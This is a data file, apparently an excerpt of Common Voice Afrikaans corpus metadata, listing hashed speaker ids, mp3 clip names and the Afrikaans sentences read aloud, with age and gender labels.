b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005445.mp3 20f72b8ed7d94181b6efe157dea9384195db4995adb36c9a36c009614dbfeee3 Verslae oor die bevestigde getal navorsingsprojekte en demografiese profiele wat voltooi is. 0 2 twenties af
|
| 63 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005446.mp3 0493609972293cee22f07e9dab5836103f085b1b17c27a478e819211d14b25e1 Blaas jou neus en gooi die gebruikte sneesdoekie met die snot weg. 0 2 twenties af
|
| 64 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005447.mp3 01e92a3daccfc878b433bdfae54d2aa9d7ba42f6675b353a3ccfb0df6d8945bb Daar is vasgestel dat Shukuma Handelaars die waarde van die terugsendings verkeerd bereken het. 0 2 twenties af
|
| 65 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005448.mp3 0330477a8cfe9a765c75f5da0de1ae89ced6c4b86914945f41aad6380c047ae4 Verduidelik kortliks die funksie van die herhalende verwysings na die sirkusmusiek in die drama. 0 2 twenties af
|
| 66 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005449.mp3 160ad3bc3eb413f186ecaa9d05039fd990c627117a41b124d911d216dc84983a Watter entrepreneur het 'n swak keuse gemaak met betrekking tot die beskikbaarheid van grondstowwe? 0 2 twenties af
|
| 67 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005450.mp3 078642f0feff50327aeee0c766e36627081b6436726516195da85a5660db13cb Ons fokus in die volgende afdeling op primêre, sekondêre en tersiêre ekonomiese aktiwiteite. 0 2 twenties af
|
| 68 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005451.mp3 1f1a8bb7a196f685170d7da209f2955cf9b280a16cde70d127ec80b7ef2d43db Ja, in daardie dae het glad ’n ander soort stam gelewe as nou. 0 2 twenties af
|
| 69 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005462.mp3 20cdedc7e4a19b0dfb99ce72918ef7b0eca62bd20582ffd1c507c3ebe8402753 Bykomende opvolg-opleidingsessies op plase en persele kan gereël word teen 'n voorgeskrewe tarief. 0 2 twenties af
|
| 70 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005463.mp3 11b1c418149fc9aca62402f9a226bc1e91730ab2f7706893613be10b63de5965 Roei in jou eie kano. 0 2 twenties af
|
| 71 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005464.mp3 2050f7464ef1d641cfd0aa0c7038b1bec674838d7d3c4068e7f863d3cf221e52 Hoe kan korrekte eetgewoontes 'n belangrike rol in die verhoging van jou dansprestasie speel? 0 2 twenties af
|
| 72 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005465.mp3 05b91832fafe93276d06905d406f5c6bc157675292713e50b4b5b6b624e236dd Hou jou potlood tussen jou duim en wysvinger. 0 2 twenties af
|
| 73 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005466.mp3 12485eeef5ce84af67db5dc3eb5182a8de56a8f73915366c64f6799316096940 Jou hoed vir iemand afhaal 0 2 twenties af
|
| 74 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005467.mp3 0a5f293f7b641996ffc9704e76ad7774a183f5866c439b5e5fcec14680186dee Hy is niks beter vandag nie. 0 2 twenties af
|
| 75 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005468.mp3 04da4fb658fbfa2ff4c2984c48a77b881f507dfb5c004c284bdd4ad8931016e2 Hoe was jou dag? 0 2 twenties af
|
| 76 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005470.mp3 1bb01ef4636c5c8f56bd25b83671970a89302f507a9eb57367c4cb88e2b28988 Jy kan aspekte soos konteksverskille, publikasiedatums, navorsingsmetodes en studiepopulasies oorweeg. 0 2 twenties af
|
| 77 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005472.mp3 1ba6bec7a99f6cc0c1153e8bfde95e4e1a0ebbf14877f055d76192c0f75fc94f Hoeveel tale praat jy? 0 2 twenties af
|
| 78 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005473.mp3 20c2bee59d0080618a06481f5bfed48f2e317c128cfc540b57d304c263cf68e7 Behoeftes en die bevrediging van behoeftes is die motivering agter alle ekonomiese aktiwiteite. 0 2 twenties af
|
| 79 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005477.mp3 1be89e6541163aca23b93ae19962c7abb076c638fa7cf10a6598e50e12df7c83 Op bedryfsvlak word die inagname van inventarisse van die nasionale batelys al hoe belangriker. 0 2 twenties af
|
| 80 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005478.mp3 1e50a4c4898fdcd356588b08e9557923af38e2b6eb120d7030e98a97564a8be0 Kommersiële oorbenutting van inheemse plante is besig om sommige spesies tot uitsterwing te dryf. 0 2 twenties af
|
| 81 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005479.mp3 1531bcd7fbedff51f5d0b04e2987aa86a1471ea10f1daf97dcb98b30d8ab4b02 Kapitaalverpligtinge word teen kosprys in die aantekeninge tot die finansiële state aangeteken. 0 2 twenties af
|
| 82 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005480.mp3 0eac61b101a4dd935287e0d71dd683cef40231fc154717528d15fee1cbabc7a5 Maandag, Dinsdag, Woensdag, Donderdag, Vrydag, Saterdag, Sondag 0 2 twenties af
|
| 83 |
+
b9cdaa1e0b9107510bf116a4bce9614f21f92debc129b2e4d7fa00b3692afe474affca5fbac74b1d8bf6f21ad659822662b44d7f811d6eb69284887a527c412d common_voice_af_39005481.mp3 1a3f2a5a17a04503dca76572f9f4d0728e967488b1cdcdb2939c969545e8df4c Uitstekende bespreking van hoe daar met klank atmosfeer, simbole en betekenis oorgedra word. 0 2 twenties af
|
| 84 |
+
47575b28e5c0a38eefa0de793a6278a240f81fe802a240ec7f6ff85d667c9f82af80b60ca2f90e68b80c7542333aabeece36d6110e2ac0f74ded73ba07b327f9 common_voice_af_39016674.mp3 1f76ace31e3476833275e121bd5f95e469145cf28170dd8f54349cfd8b14ca1d Wanneer het jy getrou? 0 2 teens male_masculine af
|
| 85 |
+
47575b28e5c0a38eefa0de793a6278a240f81fe802a240ec7f6ff85d667c9f82af80b60ca2f90e68b80c7542333aabeece36d6110e2ac0f74ded73ba07b327f9 common_voice_af_39016675.mp3 168a81d7d1e68018536be0d48dc9256e495bcf8676d4f78a6c0172b5f718bb60 Hy gebruik 'n kierie wanneer hy loop. 0 2 teens male_masculine af
|
| 86 |
+
47575b28e5c0a38eefa0de793a6278a240f81fe802a240ec7f6ff85d667c9f82af80b60ca2f90e68b80c7542333aabeece36d6110e2ac0f74ded73ba07b327f9 common_voice_af_39016677.mp3 05b3e4af76693781e6b5c9ebec3d27e90060cf313d2122528495a77f63370701 Dit is belangrik dat leerders verskillende betekenisse verstaan wat met simbole geassosieer word. 0 2 teens male_masculine af
|
| 87 |
+
47575b28e5c0a38eefa0de793a6278a240f81fe802a240ec7f6ff85d667c9f82af80b60ca2f90e68b80c7542333aabeece36d6110e2ac0f74ded73ba07b327f9 common_voice_af_39016679.mp3 2043bc663b46043801dc7308187f9d1005e2b2bf1ec394f0996a96edf043a774 Die Departement sal ook voortgaan om waar moontlik steun aan Nama-taalorganisasies te verleen. 0 2 teens male_masculine af
|
| 88 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022758.mp3 0b3d128c3da6459835371337c8d96249942318d0eb6431b1c1faae04fb9d428d Dit gaan goed, dankie. 0 2 twenties male_masculine af
|
| 89 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022759.mp3 12b26603db91291e1da7b0f1c96d413797fa84ff687bae48290e70034065ff00 Verduidelik waarom Lila en Daniel onverantwoordelik was ten opsigte van hul persoonlike sekuriteit? 0 2 twenties male_masculine af
|
| 90 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022760.mp3 004370157dbc143e49b21c1c799b5d241a9b9190207267cb90e907aaaaca449a Die Hulpbronsentrum verskaf maklike toegang tot die gestruktureerde data vir alle personeellede. 0 2 twenties male_masculine af
|
| 91 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022761.mp3 225fbbb10510f36df71ff71f272e41b5b8101b5691009632bab3bb2ef355b797 Vind die verskillende definisies van chemiese verandering en fisiese verandering in die literatuur. 0 2 twenties male_masculine af
|
| 92 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022762.mp3 03b4fdb0c44091543cd1b26885b341b2d6e76283a0bf33d73c431f933dd2983a Persentasie voertuigkilometer afgelê op paaie wat in 'n redelike tot baie goeie toestand is. 0 2 twenties male_masculine af
|
| 93 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022763.mp3 0432648bf675d438f486ef19f4e3ec806d24f793c14e34c591e096c43c16d280 Daarom is visualisering 'n doeltreffende tegniek vir die herprogrammering van die onderbewussyn. 0 2 twenties male_masculine af
|
| 94 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022764.mp3 033e6cd25557665dc67c63f11ef4ba3386b1dfb2050f63fb3ff9aa23bfd853b2 Byna soos 'n onderstebo temasin. 0 2 twenties male_masculine af
|
| 95 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022765.mp3 1735915eaa9d139857706645a6b02dc0a5bb842c852987e5774e2b70d311761a Nou is ons net in ons glorie. 0 2 twenties male_masculine af
|
| 96 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022766.mp3 162f74d397a3f801df0fc6424704409f2bf4e0914a09a70bc3ead62b9484cf18 Ek moet vandag medisyne kry. 0 2 twenties male_masculine af
|
| 97 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022767.mp3 17a975e35cc05cba06244ab7c015fcae2b617a665fb8249f07d4317aa8558ec8 Ek het nie ’n televisie nie 0 2 twenties male_masculine af
|
| 98 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022768.mp3 1586145ad069f2b8edd19b9e35d523e69e45a414103b117ffb461aab46926515 Verskillende mense kan in verskillende omstandighede verskeie tipes geldelike verligting kry. 0 2 twenties male_masculine af
|
| 99 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022769.mp3 103506bf3606520971ef754ad9a9897921d879f6e0b7eba5ff9b8f4ca74cc1d0 Bring asseblief die vuurmaakhout van buite af in. 0 2 twenties male_masculine af
|
| 100 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022770.mp3 0d2e0ea1b4094ea1a8d9b5eae4af55a3b5aaed8fe6c685808d5ddd2aad1031a6 Onderwysers word aangemoedig om die inhoud of konsepte kontekstueel tot hul omgewing te gebruik. 0 2 twenties male_masculine af
|
| 101 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022771.mp3 1719f22926a52e6e9d4b8b0e790e424d893d005aa85ff18d0b3c6dc52ed2975a Jy moet die stellings van ander outeurs ondersteun of teenstaan en kernpunte beklemtoon. 0 2 twenties male_masculine af
|
| 102 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022772.mp3 06720bd08babfbcda9492cb3415f8f648308ecf450829792acff1e0ec59e22a2 Leierskapontwikkeling op alle vlakke van die stelsel is herhaaldelik geïdentifiseer as 'n swakheid. 0 2 twenties male_masculine af
|
| 103 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022778.mp3 01d0131c93652290da2d1e0617a897dde08dc0e0521d984bc01b391d9e1bc5d0 Jy moet gewone klere na die swembad toe dra voordat jy jou swemklere aantrek. 0 2 twenties male_masculine af
|
| 104 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022779.mp3 1528eb291a6efc785bec0e4c42a57dbbbe09ea88804065c04628f5f5e9300c2d Die aandeelhouers is ongelukkig met die manier waarop die invordering van debiteure hanteer is. 0 2 twenties male_masculine af
|
| 105 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022780.mp3 1d82840c96ef2c575a97946701544e8f2e8747d3096430bfea050fab143690e5 Belangrike inligting vir die leerder oor assesseringsinstrumente deur die onderwyser gebruik. 0 2 twenties male_masculine af
|
| 106 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022781.mp3 194df6d44feff2e8f6b09ecb44118597f85b76d4fd7e2c7039824f42f08b7f5c Hierdie aansoeke moet van geloofwaardige sakeplanne en geouditeerde finansiële state vergesel word. 0 2 twenties male_masculine af
|
| 107 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022782.mp3 0156c878dff65c78d5e63b0aab8f707b85029f4de14d0d44b4a98a571d4ad2b8 Ons het na die swembad gegaan 0 2 twenties male_masculine af
|
| 108 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022788.mp3 1713e4f60508d84408252fe2c35d5cbb8c26a6764ae7adc46765f3feaf23f560 Evalueringsverslag van 'n departementele projek wat vir daardie finansiële jaar geïdentifiseer is. 0 2 twenties male_masculine af
|
| 109 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022789.mp3 115b53343acec05e8ac116a76b5c1998869968ba835336f4da2795104ce11ff5 Verskeie modelle is ontwikkel om die prys en hoeveelhede in oligopolie markte te verduidelik. 0 2 twenties male_masculine af
|
| 110 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022790.mp3 231280104bb2e2d842e91748eb85f048926f7ceaa90ec3b1998d8f43a7ed5123 Tensy anders vermeld, word onbestede begrote fondse aan die Provinsiale Inkomstefonds oorbetaal. 0 2 twenties male_masculine af
|
| 111 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022791.mp3 1e7090a79172dbec182f76cde275612a25a291be78cf1fb4e023dae8d3d84f34 Hulle gee my krag. 0 2 twenties male_masculine af
|
| 112 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022792.mp3 1c229642687bb8da5c4f6449cdeb5f3e12ce342b5d5b89ef5f808b6b20e3f280 Maak 'n benoemde skets om die manlike voortplantingsel wat geproduseer word, te illustreer. 0 2 twenties male_masculine af
|
| 113 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022798.mp3 1ca899b9693ee080b6cd449d87c1d94ecbfe9868cd3eab97b25bee7963b45293 Voorspel hoe Sam se optrede die winsgewendheid van die Hollandaise-restaurant sal beïnvloed. 0 2 twenties male_masculine af
|
| 114 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022799.mp3 06585551a81a8b3354416c5fea363cbc66fae67f909a1a1ccc5837dd44950fed Boonop kan presies dieselfde feite lei tot verskillende gevolgtrekkings. 0 2 twenties male_masculine af
|
| 115 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022800.mp3 0d42b3515ea6b0c885ee3083f66090e201c7e0c0f4ab2508002e418e9981b7cc In sekere gevalle waar dit nodig geag was, het wetstoepassingsoffisiere ouditpersoneel vergesel. 0 2 twenties male_masculine af
|
| 116 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022801.mp3 118d76112ad0f80a56db62afa0267572b4e1e6c123bb714880c77a8b6f1404d8 Omskep sintuiglike ervarings en persepsies van mag in sosiale verhoudings in visuele kunswerke. 0 2 twenties male_masculine af
|
| 117 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022802.mp3 0e8bb3c8e020fc33fc996863eeb16d65cc586e466ddbd2e1b343c2cd69838586 Alle paaie lei na Rome 0 2 twenties male_masculine af
|
| 118 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022808.mp3 20b3841065f253afcdc28b0193d423ceb06a3bf8ece5cf7ec7c00f839115547b Ons kan voor die hotel bymekaarkom en saam vertrek. 0 2 twenties male_masculine af
|
| 119 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022809.mp3 1aaa93010bb6e1ce8cd5e094615dc6b658036f4f3e996b2dec2ec11d287108ee Tydens klasbegeleide lees, lees leerders dieselfde teks of niefiksie-teks saam met die onderwyser. 0 2 twenties male_masculine af
|
| 120 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022810.mp3 1db541aff602a43d35525a4b7ce17855af2dc1b83da4ca026c582080a13be1bf Kalksteen is 'n baie algemene afsettingsgesteente en het baie gebruike, meestal vir boumateriaal. 0 2 twenties male_masculine af
|
| 121 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022811.mp3 1def6afb8d00f32233061f5ab6935236b9508cbbc0e5eb6ec5102c644d942879 Vroue word deur 'n maatskaplike werker beoordeel en na die toepaslike diensverskaffer verwys. 0 2 twenties male_masculine af
|
| 122 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022812.mp3 0e42555fd12211a58d6148b0eaa0c7a5441fcfac73345bfa176db0472064280a Hoë bloedsuikervlakke kan egter ook in nie-diabetiese persone sonder enige simptome voorkom. 0 2 twenties male_masculine af
|
| 123 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022813.mp3 0919586f2cc0f6dc9ddfaec78b946746d6c65eaf0c89d5dcd6b6b72d6add15c5 Sy het 'n haai-aanval oorleef. 0 2 twenties male_masculine af
|
| 124 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022814.mp3 05443f3723ff2102629bb0ced257e5d6227fb55315a15ae8c87b627ad745f1a1 Sy sal die graan in die oggend uitwan. 0 2 twenties male_masculine af
|
| 125 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022815.mp3 0f8409c0bbcf5d8145414952c71dd499aad14dd0876b808eae0eb91d97a5019f Deur die oseaan-ekonomiegedeelte van Operasie Phakisa, poog ons om hierdie uitdaging te oorbrug. 0 2 twenties male_masculine af
|
| 126 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022816.mp3 07bd1a530955ef5030a003cf60f38c8f1179dc586bb29378d957c8237fdd9959 Motiveer kortliks die gebruik van elke apparatuurkomponent in die konteks van videoredigering. 0 2 twenties male_masculine af
|
| 127 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022817.mp3 1854b439ba692447165f0f387760174f151c0ffb847c0e1229cf6dde03fe7931 Hierdie boks is so lig, is jy seker dis nie leeg nie? 0 2 twenties male_masculine af
|
| 128 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022823.mp3 1a32cb5968e7f0ef44382c4acbf6040ae8ce84fb088dfffd7ec191ee934ce0bb Bloed voer suurstof deur jou liggaam. 0 2 twenties male_masculine af
|
| 129 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022824.mp3 1d0d724c938b4ad0856ac435aac7e0772ffb560feae664a43e839443bdaf3696 Jy kan gedurende kantoorure by die kantoor van die Munisipale Verkiesingsbeampte registreer. 0 2 twenties male_masculine af
|
| 130 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022825.mp3 0e8ed76e85f1d2ad1757dcedb6526df7495615c11b42777ae148a12dbea90fdb Die Sentrum se direksie is aanspreeklik aan die Minister vir die Staatsdiens en Administrasie. 0 2 twenties male_masculine af
|
| 131 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022826.mp3 13ae2cfb86542ebc071da04b8a9e861ae5df5b4d3b03a6336666ebe6c8259712 Lenings en betaalbare rekeninge word teen kosprys in die staat van finansiële posisie erken. 0 2 twenties male_masculine af
|
| 132 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022827.mp3 1e09a08e380fa72ecc994d78f62a6b1d61cbf95b9ba8d37485b4220d79a9f6e2 Dat alle inligting en bedrae wat in hierdie jaarverslag openbaargemaak word, konsekwent is. 0 2 twenties male_masculine af
|
| 133 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022833.mp3 22c5b1e08c2e6ee2893abfb79ec92e32f02f9e20c3295a2c0e76883d275e9f67 Die tabel hieronder toon die moontlike genotipes van die nakomelinge van die tweede generasie. 0 2 twenties male_masculine af
|
| 134 |
+
11f9df2c14d623ddfc58d902b76c5d93bcc53f7c3fd09213246379882e8fc9f74c34b0cbc60845f2dcdcdb5ca5b81ccf6f9b8f53535aa374fe24d0fdc078b866 common_voice_af_39022834.mp3 10b328271979a7287ee48c543fd4404316becba6a0d9b5d2827a382f0216107d Hulle loop nou in gedaantes van diere rond. 0 2 twenties male_masculine af
|
| 135 |
+
